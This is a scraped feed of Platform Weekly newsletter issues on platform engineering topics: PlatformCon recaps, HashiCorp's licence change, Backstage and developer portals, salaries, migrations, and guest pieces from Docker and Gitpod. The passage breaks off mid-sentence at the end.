platform engineering tsunami. This week we\u2019re rounding off an incredible last week, at PlatformCon 2024\n3 biggest trends from PlatformCon 2024\nIt\u2019s now been exactly 7 days since my closing panel at PlatformCon 2024, and I\u2019ve had a little time to think. PlatformCon was officially enormous. From the launch of the first-ever official platform engineering course, to the live day in London - we had over 35k people flow through 80 hours of PlatformCon content.\n80 hours is a lot to absorb, but lucky for me - I got a front-row seat. These are the 3 biggest trends at PlatformCon 2024 this year:\n\n\nReference architectures are EVERYWHERE - when the reference architectures I helped put together first launched last year, we hoped they\u2019d have an impact on the community. We\u2019d never guess how huge it would be. Over 60k downloads in the last year, and more than 20+ talks featuring them!\n\n\nPortals are nowhere to be found - Last year, almost 30% of all talks submitted to PlatformCon 2023 were about Portals, or discussed portals. This year? To my count\u2026 there are just 3. And two of those are about how Portals aren\u2019t enough for platform engineering.\n\nStandards, Standards, Standards - I am blown away by how much more standardized we have become in just the last year. PlatformCon 2023 was defined I think by the battle of ideas of how platform engineering should be. This year couldn\u2019t be more different. From a shared understanding of reference architectures with a platform orchestrator in the middle to the best ways to get started and grow your platform from Minimum Viable Platforms, and the Platform Maturity Model.\nIf you haven\u2019t watched any content from PlatformCon yet. What are you waiting for? Kelsey Hightower and my friend Kaspar von Gr\u00fcnberg discussing Platform Engineering in their fireside chat (and duking it out with chat in the live Q&A) is one of the best things I\u2019ve watched all year.\nCheck it out now!\nQuick bites\nEvent of the week:\n\n\nZero to Minimum Viable Platform (MVP) in four phases\nFrom the community:\n\n\nThe Platform Engineering Slack is getting crazy with PlatformCon fever. Come join!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  PlatformCon is over\n  https://platformweekly.com/issues/platformcon-is-over\n  https://platformweekly.com/issues/platformcon-is-over\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sled down the platform engineering hill. It\u2019s been an insane week. \nPlatformCon is over\nThis week was next level. It is going to take me a few days to truly wrap my head around what the community accomplished here, but it has been an unbelievable 7 days.\n\u200dLondon was incredible. The conversations, the talks, the opportunity to be there all together. There was this special energy that is actually hard to describe. It was so great that I was terrified the karmic balance meant New York HAD to be a disaster. But it wasn\u2019t. It was incredible. \n\u200dIn a few weeks, once the dust has settled (and I\u2019ve watched all the recordings;) and gotten the chance to really absorb just how much stuff there was. We\u2019ll be writing more about lessons, takeaways, and all. But for now\u2026 let\u2019s enjoy some numbers and some photos.And maybe some sleep over the weekend.\nThis week, we had:\n\n\n770 of us in London\n\n440 of us in New York\n\n9,500 of us in virtual workshops\nAnd almost 25,000 more flowing through the PlatformCon universe of virtual content.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Is this the end of open source?\n  https://platformweekly.com/issues/is-this-the-end-of-open-source\n  https://platformweekly.com/issues/is-this-the-end-of-open-source\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter saucier than grandma\u2019s secret spaghetti recipe. \ud83c\udf5d Let\u2019s get bakin\u2019\nIs this the end of open source?\nLast Thursday, August 10, HashiCorp announced plans to move future releases of all its core products from a Mozilla Public License v2.0 (MPL 2.0) to a Business Source License v1.1 (BSL).\nBSL 1.1 is a source-available license that allows copying, modification, redistribution, non-commercial use, and commercial use under specific conditions. HashiCorp\u2019s implementation of the license allows end users to copy, modify, and redistribute the code for all non-commercial and commercial use except where providing a competitive offering to HashiCorp.\nIn a blog post explaining the change, Hashicorp\u2019s co-founder and CTO Armon Dadgar said: \u201cWith this change we are following a similar path to other companies in recent years. \u2026 Vendors who provide competitive services built on our community products will no longer be able to incorporate future releases, bug fixes, or security patches contributed to our products.\u201d\nIn a video, Dadgar expressed that the new license was intended to push back against \u201ca set of vendors who feel that they can take open source products and effectively commercialize them on their own without contributing anything back to the broader community.\u201d\nHowever, as of this newsletter\u2019s publication, HashiCorp has not yet named the competitors the new license is targeting. This has caused a lot of confusion and debate about what the decision means for the future of open source. The OpenTF Manifesto is one initiative that has gained the support of many practitioners and businesses who want to keep Terraform \u201ctruly open source.\u201d\nWhat do you think of HashiCorp\u2019s decision?I support it! \u2b50Not a fan \ud83d\udc4eDon\u2019t care either way \ud83e\udd37\nSee HashiCorp Licensing FAQ for more details.\nQuick Bites\n\n\nCerto Mondo\u2019s Amin Astaneh shared SRE lessons from Hyperscale on a recent episode of All Things Ops.\n\nCan you buy an Internal Developer Platform, or do you have to build one yourself? \ud83e\udd14 This article provides a great explanation of why enterprise organizations need to build using a platform as a product approach.\n\nWhat\u2019s the difference between a product engineer and a platform engineer?\n\n\nThe folks at Atlassian shared a three-part framework they used to spark developer joy.\n\nHere\u2019s a great guide to AWS tagging best practices.\n\n6 patterns for platform engineering success, as taught by the speakers at PlatformCon 2023.\n\u200d\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 11 Sep 2023 00:00:00 GMT\n\n\n  Backstage: everything you need to know\n  https://platformweekly.com/issues/backstage-everything-you-need-to-know\n  https://platformweekly.com/issues/backstage-everything-you-need-to-know\n  \n  \nHey there! Welcome to Platform Weekly, your weekly scoop of platform engineering sorbet. Every Friday, we dive into another piece of the platform engineering universe and dissect best practices, lessons, and news.\nThis is going to be a big one. So suit up. We\u2019re diving into one of the biggest topics in platform engineering.\nBackstage: everything you need to know\nThere are few topics as pervasive in platform engineering as Spotify Backstage. It\u2019s an almost unavoidable part of most platform engineering conversations. However, like most things in cloud native, there are some pretty huge misconceptions about it. Let\u2019s solve that.\nFirst, wtf actually is Backstage? \nIt\u2019s a surprisingly tough question to get an answer for. If you ask Spotify, they\u2019ll tell you it\u2019s \u201can open source framework for building developer portals\u201d.\nIf you ask many engineers (and probably a good number of you reading this), many would probably answer \u201cIt\u2019s a platform\u201d\ud83d\ude43 \nI don\u2019t blame people for getting lost. Especially, since if Backstage IS the platform in platform engineering, then this new discipline is gonna be much easier to master than anticipated.\nUnfortunately, that couldn\u2019t be more wrong.\nSimply, Backstage is the first (and by far most dominant) Developer Portal. It was built internally at Spotify with its core functionality intended as a software and service catalog and was later open-sourced in March 2020 and donated to the CNCF.\nTo set the stage for how dominant Backstage is, I helped write a collection of whitepapers last year with variations for the 7 primary Developer Portals. Those whitepapers were downloaded over 70,000 times in 2023, and still currently get 100s of downloads a month - over 95%+ of those downloads were the Backstage variation. The other Portals barely scrape 1% of downloads each.\nFor what it does, Backstage deserves this dominance as well. It was developed to improve developer onboarding and developer experience (DevEx) at Spotify. Their platform team wanted to give their engineers golden paths, while also getting a clearer overview of service ownership to improve auditability and reusability, and based on the stats shared by Spotify - it does this extremely well.\nSo, what\u2019s the catch? Well, for Spotify it works amazingly. Spotify reports an over 99% adoption rate, but for companies that have implemented Backstage? It\u2019s less than 10%.\nThe reason for this is simple.\nSpotify uses Backstage the way it is supposed to be used. As the front end of their Internal Developer Platform (IDP) NOT as the platform itself. They have a clear understanding of what Backstage is good at, its limitations, and how they should be using it. And they\u2019ve got a backend for their platform too.\nThey use it for its software or service catalog, templates, techDocs, search, and k8s plug-in for a few simple (but very useful) functions. \nThey also understand that open source doesn\u2019t mean free. You might not pay for the software itself, but the 2-3 FTEs required to implement and maintain Backstage do cost money - and it\u2019s not long depending on their seniority, the size of your org, and the scope of your setup that you are running into the hundreds of thousands in spend.\nVery far from simply putting the platform in platform engineering.\nDoes that mean I think there is no place for Backstage? Definitely not. It\u2019s a super valuable piece of tech, and combined with a proper backend for your Internal Developer Platform - will deliver insane results.\nBut it\u2019s important you understand what it is, what isn\u2019t, and if you want to get to the true value of platform engineering, what it actually means to implement it.\nQuick bites\nArticle of the week:\n\n\nPlatform engineering: Best practices in \u201cVendor engineering\u201d\nFrom the community:\n\n\nBackstage is not enough to build your platform - If you want more on this topic - this is a must attend webinar]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  Lessons from 500,000 platform engineers\n  https://platformweekly.com/issues/lessons-from-500000-platform-engineers\n  https://platformweekly.com/issues/lessons-from-500000-platform-engineers\n  \n  \nYesterday morning, we passed 500,000 views on PlatformCon content on the community Youtube channel. That\u2019s 18,000 hours of PlatformCon content watched. \nPlatformCon truly is the beating heart of the community. Everywhere I go, whether it\u2019s in our certification courses, in-person events or even just to work with you in your orgs - everyone attended PlatformCon (or is planning to!)\nSo, as we lead up to PlatformCon25, this easter edition of platform weekly will highlight the top 5 talks from the last 3 years of the world\u2019s largest platform engineering conference.\n\n\nIt\u2019s time to get on the platform engineering Ferris Wheel! by David Schweizer is officially the most viewed PlatformCon talk ever! From PC23, it makes a banger argument on the power of PE\n\nHow to build an IDP with Backstage, Crossplane and Argo CD by Viktor Farcic is the 2nd most viewed talk ever (and the top talk from PC22). It\u2019s also one of the first-ever in-depth guides on the Backstage, Crossplace, Argo IDP that has blown up so much in the last few years\n\nBuild abstractions, not illusions by Gregor Hohpe was the #1 from PC23, and might be my most referenced talk ever. If you\u2019ve been following me for awhile, you know I consider this a mandatory watch for everyone in platform engineering.\n\nKargo - Multi-Stage Deployment Pipelines using GitOps by Jesse Suen & Kent Rancourt is the most watched talk of PC24 and an absolute sleeper hit. I don\u2019t even remember this talk from 2024 but it has been blowing up in the last year\ud83d\udd25\n\nPlatform engineering Q&A with Kelsey Hightower and Kaspar von Gr\u00fcnberg is probably one of the best hours of platform engineering content you can watch.\nI cant wait to see how this list changes in the next year. We\u2019re expecting almost 200 new talks from PlatformCon 2025, including 3 full days of workshops, and two separate in-person talk tracks in NYC and LDN.\nYou don\u2019t want to miss it.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Level up your platform engineering\n  https://platformweekly.com/issues/best-platform-engineering-courses\n  https://platformweekly.com/issues/best-platform-engineering-courses\n  \n  \nAt PlatformCon London just a few months ago, we opened with a panel \u201cWhat does great platform engineering look like?\u201d. Within the first 5 minutes, the panelists had all agreed. Great platform engineering is about starting small with an MVP, having a product mindset, measuring properly, and building a platform designed for you and your needs, which delivers on results. Unsurprising stuff for long term readers.\nSo why when moderator Sam asked the audience, \u201chow many of you by that definition have great platforms?\u201d Less than 5 out of 700 raised their hand\u2026 Oof.\nWe want to change that. It\u2019s the platform engineering community\u2019s #1 goal. Here is a piece of how we\u2019re doing that in the Platform Engineering University.\n\n\nPlatform Engineering Practitioner & Platform Engineering Professional: These two certifications you\u2019re already familiar with give you everything you need to know about what great PE looks like, alongside templates and structures you can use to help you accomplish it.\n\nPlatform Engineering Certified Leader: This will ensure you know what it takes to lead a platform engineering initiative (or ensure your boss knows what\u2019s going on).\n\nCloud Development Environments for Platform Engineers (Free): Zoom in on CDEs, how they intersect with platform engineering and how they help drive your platform engineering (and AI) initiatives\n\nKubernetes Cluster Lifecycle Management in Platform Engineering (Free): Use automation, GitOps, and policy-as-code approaches to create your self-service platforms\n\nObservability for Platform Engineering (Free): Master modern observability and see how to integrate it by design into your platform\nDon\u2019t know where to start? Take the (free) introduction to platform engineering course at platform engineering university.]]>\n  \n  Thu, 04 Sep 2025 00:00:00 GMT\n\n\n  please just let us code\n  https://platformweekly.com/issues/please-just-let-us-code\n  https://platformweekly.com/issues/please-just-let-us-code\n  \n  \nHey there! Welcome to Platform Weekly, your weekly shred on the platform engineering slopes. This week we\u2019re talking about something near and dear to my heart.\nplease just let us code\nI get a lot of opportunities to look at and talk about platforms. And I talk to many platform engineers, whether it\u2019s through the community course, Platform Engineering Slack, or PlatformCon. I also get visibility on how thousands of developers are interacting with Internal Developer Platforms.\nThat\u2019s to say, I get a pretty good insight into a lot of platform engineering. And today I want to dissect two truths that seem to be a constant in our world right now.\n\n\nMost teams starting on their platform engineering journey think they need to have a portal\n\n98.2% of developers opt for code-based interaction when organizations give them the choice\nSo, what am I trying to tell you with these two seemingly contradictory truths? That Portals are useless? No. There is lots of value that comes from portals.\nBut we can\u2019t overoptimize on them. The goal of platform engineering has always been about building golden paths, streamlining and automating workflows that improve developer experience, and at the same time making lives easier for infrastructure and operations with better standardization and security.\nSlapping a portal on top of your disjointed setup and celebrating your platform success or worse\u2026 mandating the use of templates within the portal in a kind of golden cage is absolutely NOT the path to platform engineering success.\nSo why do we keep doing it?\nA cynic would say that it\u2019s because a portal represents a quick win. But in talking to dozens of teams, there is a genuine desire to improve the experience for people. It\u2019s just in my view a misunderstanding of what people want.\nDevs don\u2019t want to be forced to click around in a UI to use a very specific template that may or not serve what we want. Not to mention how that easy-use template means Infra has to spend dozens of hours maintaining all the resources that were blasted out by the portal.\nWe want the choice to use the interface that best suits us. We want a platform that thinks holistically and improves developer workflows and experience, without creating a mess for someone else to clean up.\nWe want a platform that thinks about the backend and the frontend and understands how it will touch and interact with each part of the team, or organization.\nSo let\u2019s get building it.\nQuick bites\nArticle of the week:\n\n\nCrowdstrike cybersecurity firm says its software update triggered worldwide Microsoft IT outages - The news we\u2019re all watching right now\nFrom the community:\n\n\nHow to build a Minimum Viable Platform (MVP) in four phases - don\u2019t miss next week's webinar!]]>\n  \n  Fri, 16 Aug 2024 00:00:00 GMT\n\n\n  Prerequisites For Building An Internal Developer Platform\n  https://platformweekly.com/issues/prerequisites-for-building-an-internal-developer-platform\n  https://platformweekly.com/issues/prerequisites-for-building-an-internal-developer-platform\n  \n  \nHey there!\nLast month, I saw this conversation about organizational prerequisites for platform engineering in the Slack community. It\u2019s a great question, so I thought I\u2019d share some of my thoughts.\nLet\u2019s get bakin\u2019\nPrerequisites for building an Internal Developer Platform\nPlatform engineering isn\u2019t just about the technology: it\u2019s also about the people, processes, and culture that enables a software engineering organization to move fast. \ud83d\ude80 Here is my (nonexhaustive) list of non-technical things you\u2019ll need to build a thriving platform engineering organization. \n1\ufe0f. Understand and communicate how the platform adds value to the business. Building a platform is fundamentally a business decision. If you don\u2019t understand or can\u2019t articulate how a platform adds value to your organization, you shouldn\u2019t build one. Crist\u00f3bal Garc\u00eda Garc\u00eda and Chris Ford articulated this well: \u201cYour calculations must take into account the capabilities of commercially available services because unless your platform offers features, specificity to your context or convenience that a commercial offering cannot, you may be better off leaving it to the market and avoiding the maintenance burden - after all your platform strategy depends upon reducing the amount of undifferentiated work, not increasing it!\u201d\n2\ufe0f. Treat your platform like a product and your developers like your customers. A product approach \u2014 which involves conducting user research, soliciting regular user feedback, and marketing the platform internally \u2014 will help clarify what features and functions your platform team should prioritize building. Furthermore, product thinking will ensure your platform is actually adopted across the organization and improves the developer experience. \n3\ufe0f. Don\u2019t forget about the basics. Your platform teams have to understand the basics of software infrastructure: networking, scaling, disaster recovery, etc. If your platform engineers don\u2019t understand your setup\u2019s underlying technology, they will not be able to build a useful product for your developers. A focus on ensuring reliability is also important. \n4\ufe0f. Build a strong platform team culture. OpenCredo CEO/CTO Nicki Watt did a fantastic talk on this at PlatformCon last year. She introduced four community-driven principles your platform team should follow to be successful:\n\n\nMake teams independent of and not dependent on you.\n\nPromote freedom over autonomy.\n\nFocus on soft skills.\n\nRespect and recognize community differences.\n5\ufe0f. Set realistic goals. You aren\u2019t going to replicate Google\u2019s platform in a few months (nor do you necessarily need to). Conduct user research to figure out which features your developers need most, then focus on executing those well. Keep in mind that you don\u2019t need to build everything from scratch. Take advantage of pre-built or open source offerings where possible and tailor them to fit your needs.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Ramesh Nampelly, Senior Director of Cloud Infrastructure and Platform Engineering at Palo Alto, recently wrote about how Palo Alto approaches platform engineering. \n\ud83e\udd50 The folks at Jit shared how they built a platform engineering organization with The New Stack:\nThe upside is, once you\u2019ve put in the platform engineering work upfront, Melamed said, \u201cYou can really build a product that is scalable by design on microservices, and you can build and develop for the cloud, helping your developers move faster by removing all the headache of things that are really standard.\u201d\n\ud83e\udd50 If you or someone you know has been impacted by recent layoffs, consider checking out the platform engineering lifeboat to find your next opportunity.\n\ud83e\udd50 And the memes are back \ud83d\ude09\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 15 Mar 2023 00:00:00 GMT\n\n\n   Stop migrating. Start modernizing.\n  https://platformweekly.com/issues/stop-migrating-start-modernizing\n  https://platformweekly.com/issues/stop-migrating-start-modernizing\n  \n  \nMigration is an eternal topic in our world. We are always innovating, adding new tools, systems, workflows - that\u2019s the nature of what we do. Or the less sappy side of the coin, we are always acquiring, getting acquired or getting management mandates because they prefer one system over another, or got convinced of one at a Gartner conference;)\nThe problem with migration though is that it costs. A lot. Far more than people appreciate. In this week's community webinar, Loreli Cadapan,VP of Product at CloudBees and Ajay Chankramath, Platform Engineering Ambassador, and CEO of Platformetrics broke down how and why teams mess up migrations so frequently, why we need to be thinking about modernization instead - and what you need to be doing to not fail.\nFirst, some data from the Migration Index Report that blew my mind.\n\n\nAverage migration cost: $1.75 million\n\nAverage cost overrun: $315,000 per enterprise (18% over budget)\n\n37% of organizations lost a quarter of their migration budget to hidden costs\n\n94% saw slower or the same system performance post-migration\n\n60% missed estimated revenue opportunities from delayed launches\nMore than these clear hits of actual $ spent. There are the hidden ones. The integration tax on things like increased cognitive load burning teams out and decreasing productivity, morale hits, even the cost of increased risk exposure.\nThe platform team is often some of  the most experienced, and highest paid engineers in the org, and most of the time during a migration we switch from being builders and operators to just full time integrators burning brain power (and time) dealing with compatibility issues and maintaining dual systems rather than producing.\nSo what is the alternative? Thinking modernization NOT migration.\nWhile a migration may concentrate on swapping one tool for another, modernization takes a zoomed out view, working to improve the system as a whole.\nFor example, changing the URL of your CI server doesn\u2019t improve how value flows through your org... If you lift and shift a crappy, fragmented process onto a new platform, you don\u2019t get rid of the mess, you just spread it.\nNew tool + old process = expensive old process\nHere are some of the tips from the webinar that stuck out to me:\nEvaluate capability gaps before replacing tools: Stop asking, \u201cWhat should we replace tool A with?\u201d Start asking, \u201cWhat capabilities are we missing?\u201d Focus on outcomes, not products. Identify gaps in areas like policy enforcement, scalable builds, or SLO visibility first then decide if a new tool is actually needed.Run ROI simulations before committing: Don\u2019t migrate on vibes. Model the reality. Test three paths: wrap what you have with APIs and governance, fully replace it (including dual-stack pain), or selectively migrate capabilities. The hybrid approach is often by FAR most practical.Migrate capabilities, not products: This isn\u2019t about moving from tool A to tool B. It\u2019s about evolving what your platform can do. Define clear exit criteria for legacy systems. Decide upfront what must be true before the old system gets turned off. Without hard decommission triggers, legacy systems stick around\u2026. and around and around\u2026.Protect developer experience during transition: Most devs didn\u2019t ask for the migration (and probably don\u2019t want to migrate at all ahah) and if it slows them down, they\u2019ll resist it. So mission one is to minimize their inconvenience. Protect their ability to ship with flexibility, with things like safe sandboxes, automated compatibility checks, and clear telemetry. If devs feel supported, the migration stands a chance.\nMigrations are an eternal fact of our lives but with all this in mind - we can nail them.\nLet\u2019s do it.]]>\n  \n  Mon, 02 Mar 2026 00:00:00 GMT\n\n\n  It\u2019s Official: Platform Engineers Earn More Than You\n  https://platformweekly.com/issues/its-official-platform-engineers-earn-more-than-you\n  https://platformweekly.com/issues/its-official-platform-engineers-earn-more-than-you\n  \n  \nHey there! This is Platform Weekly, your weekly peek behind the platform engineering curtain\ud83d\udc40\nIt\u2019s Official: Platform Engineers Earn More Than You\nThis week\u2019s edition of Platform Weekly is based on my friend and colleague Carrie Tang\u2019s latest article on The New Stack. Read the full article here.\nIf you\u2019re reading this newsletter there is a good chance that you are a platform engineer, or at least interested in platform engineering and if so, it\u2019ll be no surprise to you that platform engineers make more than DevOps - but exactly how much is the key question.\nI can talk all day about the issues with DevOps and the primacy of Platform Engineering, but in the end, we\u2019re numbers people. And we want to see the actual numbers.\nFortunately for me, I have access to the awesome community around this newsletter, and on the platform engineering community Slack. We\u2019re talking about almost 15,000 platform engineers! And of course because it\u2019s me, I couldn\u2019t help get DevOps salary too to make my favorite comparison\ud83d\ude09\nSo as part of the State of Platform Engineering volume 2 this year, it was really important to me to figure out those exact numbers.\nLast year, in the first edition of this report, there was a clear difference, but this time the numbers are actually insane. In the US, platform engineers have a 42.5% salary advantage, averaging an additional $65,439 over people with DevOps in their title. It\u2019s slightly less extreme in Europe, but the trend there continues with platform engineers earning 18.64% more - an extra $15,871 annually\u200b.\nWhy? And what does this mean for the industry? Well, I\u2019ll let Carrie tell you that.\nQuick bites\nP.s Can you believe this was my most contentious meme of 2023?\nArticles that blew me away: \n\n\n5 Ways Your Organization Can Benefit From Platform Engineering\n\nGitHub Developer Productivity at 30 Billion Messages per Day\nFrom the community:\n\n\nMaybe you can answer this question? ]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Platform engineering with Docker\n  https://platformweekly.com/issues/platform-engineering-with-docker\n  https://platformweekly.com/issues/platform-engineering-with-docker\n  \n  \nLetter from Docker CEO \n\"Shift Left\": Great Soundbite, Bad Outcomes for Developers\nScott Johnston, CEO, Docker\nOver the course of my 11 years at Docker I observe that our industry, in the spirit of advocating for developers, has aggressively promoted a \"shift left\" perspective. The well-intentioned view is, \"developers know more than managers about dependencies, user needs, non-functional requirements ... let's give them more and more context, ownership, and tasks in order to improve outcomes later in the SDLC!\"\nWhile I know this is well-intentioned, what I\u2019ve seen in many of our customers is that this approach has resulted in deluging developers with waves of requirements, alerts, notifications, pull requests, and much much more from SDLC stages further right, or downstream, from developers, eg, DevOps, Security, Deployment, etc. And since most developers are already over-worked, this additional context, ownership, and tasks from many different tools and pipeline stages more often than not simply increases their cognitive load and extends their workday.\nStart With The Developer\nSeeing this, we began asking ourselves, instead of \"shift left\" what if we instead started with the developer? Start with understanding the dependencies in their existing apps and existing pipeline tools? Start with not only giving them insight into the risks they may introduce with new libraries or modules they may wish to use, but also suggesting lower risk alternatives?\nFar from serving only developers, in this approach their managers also win. In fact, bricks-and-mortar industries, such as automobile manufacturing, discovered from decades of experience that addressing issues at the point at which they're created is the fastest, lowest-cost, lowest-risk approach to remediate. This philosophy is encapsulated in the Kanban \"go to the Gemba\" mandate, in which *any* line manufacturing employee may stop production for any reason, any time. And when they do so they are not reprimanded - quite the opposite; instead, all relevant employees and managers gather at that employees' workstation to understand, ideate, and remediate the issue in real-time. (Having lived in Japan early in my career as a software engineer I had the privilege of experiencing this up close \u2026 it\u2019s quite a mindset change!)\nNow, all companies are taking this approach with software development to some extent but the developers don\u2019t just stop the production line - they also identify the root causes of issues and fix them. This additional ownership combined with additional context, automation, and tooling can significantly improve a developer's workflow, productivity, and happiness. \nDeveloper First\nI was really excited that we pivoted our company to be \u201cdeveloper first\u201d in 2019. Guided by this North Star, we set to work. From Docker Scout recommending fixes you could apply with one click in your IDE (rather than just nagging you with unclear notifications) to Docker Testcontainers Cloud fighting \u201cworks on my machine\u201d by helping dev teams maintain identical test environments locally and in CI.\nOr fighting to make this famous XKCD cartoon on compiling wait times a thing of the past with Docker Build Cloud (Though I promise I don\u2019t wish to compress coffee breaks).\nOr simply just trying to make Docker Desktop the fastest and simplest it can be.\nWatch This Space - More To Come Soon!\nAs development teams remain the cornerstone for the creation of new applications, I\u2019m fired-up that there is so much more we can do together as a community to empower them. Stating the obvious, GenAI is a technology that is massively disrupting everything - very positively, from my perspective - and it opens up so many more ways in which we can help developers do their best work.\nFor example, with minimal overhead GenAI brings to the developer\u2019s inner loop codebase summarization, code completion, and automated generation of documentation, boilerplates, and unit tests, to mention but a few. While early, I\u2019m seeing in our early adopter customers how this is already completely reshaping how development teams approach challenges like modernizing legacy applications, building secure and scalable cloud-native apps, and accelerating app delivery. \nFrom my POV, GenAI is the next \u201ckiller tech\u201d behind a new wave of \u201cdeveloper first\u201d tools.\nI\u2019m incredibly excited about the road ahead and working together with the developer community to make it happen!]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  PlatformCon just got even BIGGER\n  https://platformweekly.com/issues/platformcon-just-got-even-bigger\n  https://platformweekly.com/issues/platformcon-just-got-even-bigger\n  \n  \nHey there! This is Platform Weekly, your weekly surf on the platform engineering waves\ud83c\udfc4\u200d\u2642\ufe0f\nPlatformCon just got even BIGGER\nHaven\u2019t registered for PlatformCon yet? Now might be the time.\nIf you attended PlatformCon last year, you know it was a deluge of content. 100+ talks, and dozens of hours of content dunked on your head in a short two day span. In hindsight, it probably wasn\u2019t the best way to release that much INSANE knowledge. \nThis wasn\u2019t just a challenge due to trying to absorb that much content in 2 days, it made it harder than we\u2019d like for people to engage with speakers, and have that awesome back and forth that makes live events so awesome.\nAnd so far\u2026 it\u2019s looking like not just some of the biggest names in platform engineering will be there. But EVERY big name in Platform Engineering will be there.\nSo this year, to make sure we maximise the value we can get from speakers, not only is PlatformCon taking place over a full week (with a special Open Source day in the middle), I've just confirmed that it will have some of the coolest pre-events in the PE space.\nThese pre-events will include major names from across the platform engineering space, covering topics that I can confidently say I think will define how platform engineering develops over the next year.\nP.S. Since this is a smaller group here on Platform Weekly, I\u2019ll let you in on a secret. Some of those pre-events might need to be private, and first come first serve. More info to come soon\ud83e\udd2b\nQuick bites\nArticles that blew me away: \n\n\nWhy Broadcom Is Killing off VMware\u2019s Standalone Products\nFrom the community:\n\n\nHelp the Community better for all of us!]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Moving away from Docker\n  https://platformweekly.com/issues/moving-away-from-docker\n  https://platformweekly.com/issues/moving-away-from-docker\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly bowl of platform engineering yogurt. Every week, we dive into another part of the platform engineering world discussing and highlighting news, lessons, and best practices.\nThis week we\u2019ve got a guest newsletter from Lou Bichard from Gitpod previewing a great whitepaper he\u2019s been working on + having a poke at some of the challenges of Docker\ud83d\ude09 \nLet\u2019s get spicy\ud83c\udf36\nWhat Docker should have been\nDocker burst onto the scene in 2013, promising to revolutionize how we build, ship, and run applications. It was hailed as the solution to the age-old \u2018it works on my machine\u2019 problem that has long plagued our development teams and caused outsized cognitive load. It wasn\u2019t just innovative because it created containerization technology, Docker made containers developer-friendly by: \n\n\nSimplifying the use of Linux kernel features like cgroups and namespaces\n\nIntroducing a standard container format and runtime\n\nProviding a simple CLI for building, shipping, and running containers\n\nCreating a hub for sharing and distributing container images \nYet, as with many technological revolutions, the reality has been more complex than the promise. Ultimately, Docker gives us part of a solution to the \u2018works on my machine\u2019 problem but there is certainly a lot that Docker alone cannot give us. Docker requires developers to grasp not only containers but images, volumes, and networking complexities for multiple containers and host-container communication. It\u2019s easy for platform or DevOps engineers very comfortable with Docker to overlook how complex configuring Docker can be.\nBut, why is Docker so challenging? Docker introduces its custom configuration file format with the Dockerfile. This configuration exposes developers to skills that are closer to a Linux system administrator than your average developer who already has a tremendous learning workload. Additionally, security concepts like multi-step configurations aren\u2019t always intuitive or obvious and can make docker configurations feel opaque to your average developer. \nFast forward to today, the path to filling these gaps in the promise of Docker might just be hiding in plain sight. Platform teams at some big tech companies have already stumbled upon this opportunity for significant ROI for platform engineering teams: automated and standardized development environments. \nThe Platform Engineer's golden opportunity\nBy addressing the 'works on my machine problem\u2019 head on platform teams can: \n\n\nreduce development environment setup time from days to minutes\n\ncut down on debugging time related to environment inconsistencies by up to 50%\n\naccelerate project delivery timelines by 20-30%\nFor platform engineers, the imperative is evident. By quantifying and communicating these impacts, platform engineers cement their position as architects of efficiency and showing how platform engineering is a strategic partner to drive organizational success. The message is clear: platform engineering isn't just supporting the business\u2014it's propelling it forward.\nThe adoption of automated and standardized development environments through cloud development environment platforms is not a novel concept in tech. For years, platform teams have recognized the value in streamlining their development processes. With Uber utilizing \u2018Devpod\u2019 so developers can spin up ready-to-code environments with all necessary dependencies setup for them. Shopify uses \u2018Spin\u2019 to reduce the time developers spend on environment troubleshooting and management. Google with \u2018Cider\u2019 to provide development environments that allow their engineers to work on any project, from anywhere while maintaining security. \nHow cloud development environments (CDE) solve the Docker configuration problem\nThe journey to solve the \u2018works on my machine\u2019 problems that Docker started is far from over. We need to consider more than containerization. Not only do we need a simplified interface for working with Docker, but also to consider all other aspects that come with setting up our development environment like: \n\n\nsecrets management and systems access (identity provider integrations)\n\nprovisioning of external infrastructure like databases or clusters\n\nsource control, internal developer platforms and portal integration\nA cloud development environment is a platform for standardizing and automating development environment. It comes pre-configured with all tools, dependencies and access required to write code. For developers that means they can launch new environments using their preferred tooling. For platform teams CDEs are a centralized place to automate everything related to the setup, maintenance and troubleshooting of development environments. With CDEs platform teams shift their influence to the inner loop of the software development. \nSomething that I\u2019ve heard time and again when people see Gitpod for the first time is: \u201cwow, this is what I hoped Docker would have been\u201d. Let me be clear, this is not to say that Docker has not revolutionized our work\u2014it absolutely has. What I feel this points to is an acknowledgement that to fully solve the \u2018works on my machine\u2019 problem we need to build on and around containers with additional developer experience to fully solve this problem. \nThe golden standard we\u2019re striving for is the ability to press a button, and for developers to be productive as quickly as possible. This is the mission of a CDE and it was the original promise of Docker. CDEs are built on and extend container technology with Dev Container to give a full development environment including all your tools ready to go at the click of a button. \nIf you want to understand how this is possible and research into the clear ROI of this, download my full paper.]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  Migration work is killing us. Does AI have the answer?\n  https://platformweekly.com/issues/the-dollar-2b-migration-consulting-industry-is-over\n  https://platformweekly.com/issues/the-dollar-2b-migration-consulting-industry-is-over\n  \n  \nI was at a friend\u2019s house after a long day of work. He was out on the balcony smoking a cigarette. \u2018You know what?\u2019 he said, returning inside. I could sense some philosophizing had been done out in the night air. \u2018Platform teams\u2026 we are just\u2026 migrators. We move from PagerDuty to Incident.io, or from GitLab to GitHub. We\u2019re migrators. It\u2019s what we do\u2019. \nI couldn\u2019t help but laugh. Because behind the flashy titles and the platform conferences, much of platform work is thankless, behind the scenes and dirty work. In large organizations, a sizable amount of the work on our backlog is migrations. Whether that\u2019s migrating from CloudFormation to Terraform, or migrating off a monitoring or 